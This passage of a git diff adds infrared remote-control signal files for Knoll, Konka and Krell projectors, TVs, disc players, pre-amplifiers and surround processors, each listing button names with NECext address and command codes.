00 00 +command: 1C 00 00 00 +# +name: MUSIC_RECALL +type: parsed +protocol: NECext +address: 11 51 00 00 +command: 20 00 00 00 +# +name: MOVIE_RECALL +type: parsed +protocol: NECext +address: 11 51 00 00 +command: 21 00 00 00 +# +name: NIGHT_RECALL +type: parsed +protocol: NECext +address: 11 51 00 00 +command: 22 00 00 00 +# +name: USER_1_SAVE +type: parsed +protocol: NECext +address: 11 51 00 00 +command: 23 00 00 00 +# +name: USER_2_SAVE +type: parsed +protocol: NECext +address: 11 51 00 00 +command: 24 00 00 00 +# +name: MUSIC_SAVE +type: parsed +protocol: NECext +address: 11 51 00 00 +command: 28 00 00 00 +# +name: MOVIE_SAVE +type: parsed +protocol: NECext +address: 11 51 00 00 +command: 29 00 00 00 +# +name: NIGHT_SAVE +type: parsed +protocol: NECext +address: 11 51 00 00 +command: 2A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Knoll/Video Projector/24,233.ir b/assets/resources/infrared/_CSV-IRDB_/Knoll/Video Projector/24,233.ir new file mode 100644 index 000000000..b3c44a54c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Knoll/Video Projector/24,233.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: VIDEO +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 03 00 00 00 +# +name: RGB +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 04 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 08 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 14 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 17 00 00 00 +# +name: R-CLICK +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 25 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 46 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 47 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 48 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 49 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 4C 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 5C 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 5D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 5E 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 5F 00 00 00 +# +name: MAGNIFY_+ +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 89 00 00 00 +# +name: MAGNIFY_- +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 8A 00 00 00 +# +name: KEYSTONE_+ +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 8B 00 00 00 +# +name: KEYSTONE_- +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: 8C 00 00 00 +# +name: S_VIDEO +type: parsed +protocol: NECext +address: 18 E9 00 00 +command: C6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Konka/Unknown_KK-Y199/25,1.ir b/assets/resources/infrared/_CSV-IRDB_/Konka/Unknown_KK-Y199/25,1.ir new file mode 100644 index 000000000..3b11e6fc7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Konka/Unknown_KK-Y199/25,1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: Reset +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 00 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 01 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 02 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 03 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 04 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 05 00 00 00 +# +name: V-Chip +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 07 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 0A 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 0B 00 00 00 +# +name: ChRecall +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 0C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 0D 00 00 00 +# +name: TV/AV +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 0E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 19 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 1D 00 00 00 +# +name: Caption +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Konka/Unknown_KK-Y250A/25,1.ir b/assets/resources/infrared/_CSV-IRDB_/Konka/Unknown_KK-Y250A/25,1.ir new file mode 100644 index 000000000..d364f7cbf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Konka/Unknown_KK-Y250A/25,1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 09 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 0A 00 00 00 +# +name: novideo +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 0B 00 00 00 +# +name: tv/av +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 0D 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 0E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 10 00 00 00 +# +name: analog +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 13 00 00 00 +# +name: game +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 14 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 15 00 00 00 +# +name: vstatus +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 16 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 1B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 1C 00 00 00 +# +name: timing +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 1D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 19 01 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Krell/CD Player/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Krell/CD Player/16,-1.ir new file mode 100644 index 000000000..61e0fb60d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Krell/CD Player/16,-1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: PRE_AMP_INPUT_E +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 20 00 00 00 +# +name: PRE_AMP_INPUT_F +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 21 00 00 00 +# +name: PRE_AMP_INPUT_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 22 00 00 00 +# +name: PRE_AMP_INPUT_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 23 00 00 00 +# +name: PRE_AMP_INPUT_C +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 24 00 00 00 +# +name: PRE_AMP_INPUT_D +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Krell/CD Player/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Krell/CD Player/20,-1.ir new file mode 100644 index 000000000..f2fd03829 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Krell/CD Player/20,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Krell/DVD Player/27,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Krell/DVD Player/27,-1.ir new file mode 100644 index 000000000..5c2f476f1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Krell/DVD Player/27,-1.ir @@ -0,0 +1,506 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 00 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 02 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 04 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 05 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 06 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 07 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 08 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 09 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0A 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0B 00 00 00 +# +name: DOWN_ARROW +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0B 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0C 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0D 00 00 00 +# +name: RIGHT_ARROW +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0D 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0E 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0E 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0F 00 00 00 +# +name: LEFT_ARROW +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0F 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 10 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 10 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 11 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 11 00 00 00 +# +name: UP_ARROW +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 11 00 00 00 +# +name: RET +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 12 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 12 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 12 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 13 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 13 00 00 00 +# +name: CLR +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 15 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 15 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 15 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 16 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 16 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 17 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 17 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 18 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 18 00 00 00 +# +name: DISP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1A 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1A 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1D 00 00 00 +# +name: SKIP_> +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 20 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 20 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 20 00 00 00 +# +name: SKIP_< +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 21 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 21 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 21 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 29 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 29 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 29 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 2F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 2F 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 2F 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 30 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 30 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 32 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 32 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 34 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 34 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 35 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 36 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 36 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 3F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Krell/Pre-Amplifier/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Krell/Pre-Amplifier/16,-1.ir new file mode 100644 index 000000000..97271dd56 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Krell/Pre-Amplifier/16,-1.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: GAIN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0A 00 00 00 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: BALANCE_LEFT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1B 00 00 00 +# +name: PRE_AMP_INPUT_E +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 20 00 00 00 +# +name: PRE_AMP_INPUT_F +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 21 00 00 00 +# +name: S-2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 21 00 00 00 +# +name: PRE_AMP_INPUT_A +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 22 00 00 00 +# +name: PRE_AMP_INPUT_B +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 23 00 00 00 +# +name: PRE_AMP_INPUT_C +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 24 00 00 00 +# +name: B-1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 24 00 00 00 +# +name: PRE_AMP_INPUT_D +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: B-2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 28 00 00 00 +# +name: AMP_POWER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 28 00 00 00 +# +name: MTR +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 29 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 29 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Krell/Pre-Amplifier/25,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Krell/Pre-Amplifier/25,-1.ir new file mode 100644 index 000000000..687f88385 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Krell/Pre-Amplifier/25,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: M2 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 00 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 00 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 01 00 00 00 +# +name: LD +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 02 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 03 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 04 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 04 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 05 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 05 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 06 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 06 00 00 00 +# +name: TUN +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 07 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 07 00 00 00 +# +name: AUX1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 08 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 08 00 00 00 +# +name: AUX2 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 09 00 00 00 +# +name: MAIN +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0A 00 00 00 +# +name: Z2 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0B 00 00 00 +# +name: THX +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 21 00 00 00 +# +name: PRE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 23 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Krell/Pre-Amplifier/28,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Krell/Pre-Amplifier/28,-1.ir new file mode 100644 index 000000000..512d3cf9f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Krell/Pre-Amplifier/28,-1.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: SUB +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 01 00 00 00 +# +name: REAR +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 02 00 00 00 +# +name: CNTR +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 06 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 07 00 00 00 +# +name: DOWN_ARROW +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0B 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0C 00 00 00 +# +name: RIGHT_ARROW +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0D 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0E 00 00 00 +# +name: LEFT_ARROW +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0F 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 10 00 00 00 +# +name: UP_ARROW +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 11 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 12 00 00 00 +# +name: PRE-AMP_POWER +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 13 00 00 00 +# +name: BAL +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 1A 00 00 00 +# +name: M1 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 33 00 00 00 +# +name: ST +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 35 00 00 00 +# +name: PL +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Krell/Receiver/28,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Krell/Receiver/28,-1.ir new file mode 100644 index 000000000..1d6deb017 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Krell/Receiver/28,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: SV2 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 2A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Krell/Receiver/31,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Krell/Receiver/31,-1.ir new file mode 100644 index 000000000..46ac6effa --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Krell/Receiver/31,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: SYSTEM_1_2_3 +type: parsed +protocol: NECext +address: 1F 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Krell/Surround Processor/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Krell/Surround Processor/16,-1.ir new file mode 100644 index 000000000..54001143b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Krell/Surround Processor/16,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 28 00 00 00 +# +name: AMP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 28 00 00 00 +# +name: METER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 29 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Krell/Surround Processor/25,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Krell/Surround Processor/25,-1.ir new file mode 100644 index 000000000..a1344ec82 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Krell/Surround Processor/25,-1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: M2 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 00 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 01 00 00 00 +# +name: LD +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 02 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 03 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 04 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 05 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 06 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 07 00 00 00 +# +name: AUX1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 08 00 00 00 +# +name: AUX2 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 09 00 00 00 +# +name: MAIN_ZONE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0A 00 00 00 +# +name: ZONE_2 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0B 00 00 00 +# +name: USER +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0C 00 00 00 +# +name: THX +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 21 00 00 00 +# +name: PRE1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 23 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Krell/Surround Processor/28,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Krell/Surround Processor/28,-1.ir new file mode 100644 index 000000000..e86b5863a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Krell/Surround Processor/28,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: SUB +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 01 00 00 00 +# +name: REAR +type: parsed +protocol: NECext 